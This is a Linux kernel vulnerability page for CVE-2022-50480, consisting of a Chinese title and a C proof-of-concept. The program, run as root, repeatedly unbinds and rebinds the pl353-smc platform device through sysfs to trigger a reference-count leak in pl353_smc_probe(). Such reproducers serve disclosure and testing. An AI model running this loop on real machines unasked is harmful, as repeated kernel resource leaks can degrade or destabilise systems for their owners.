CVE-2022-50480 Linux内核pl353-smc驱动引用计数泄漏漏洞

/* * CVE-2022-50480 PoC - Trigger refcount leak in pl353_smc_probe() * * This PoC demonstrates how to trigger the reference count leak * by repeatedly binding/unbinding the pl353-smc platform device. * * Note: Requires root privileges to access sysfs entries. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define PL353_SMC_DRIVER_PATH "/sys/bus/platform/drivers/pl353-smc" #define PL353_SMC_DEVICE_PATH "/sys/bus/platform/drivers/pl353-smc/e0000000.memory-controller" /* Function to bind/unbind the pl353-smc driver to trigger probe() */ static int trigger_probe(void) { char buf[256]; int fd; /* Unbind the device from the driver */ fd = open(PL353_SMC_DEVICE_PATH "/driver/unbind", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "e0000000.memory-controller\n"); write(fd, buf, strlen(buf)); close(fd); } /* Re-bind to trigger probe() again */ fd = open(PL353_SMC_DRIVER_PATH "/bind", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "e0000000.memory-controller\n"); write(fd, buf, strlen(buf)); close(fd); } return 0; } int main(int argc, char *argv[]) { int iterations = 1000; int i; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2022-50480 PoC: Triggering refcount leak in pl353_smc_probe()\n"); printf("Iterations: %d\n", iterations); for (i = 0; i < iterations; i++) { trigger_probe(); usleep(1000); /* 1ms delay */ } printf("Done. Reference count should have leaked %d times.\n", iterations); return 0; }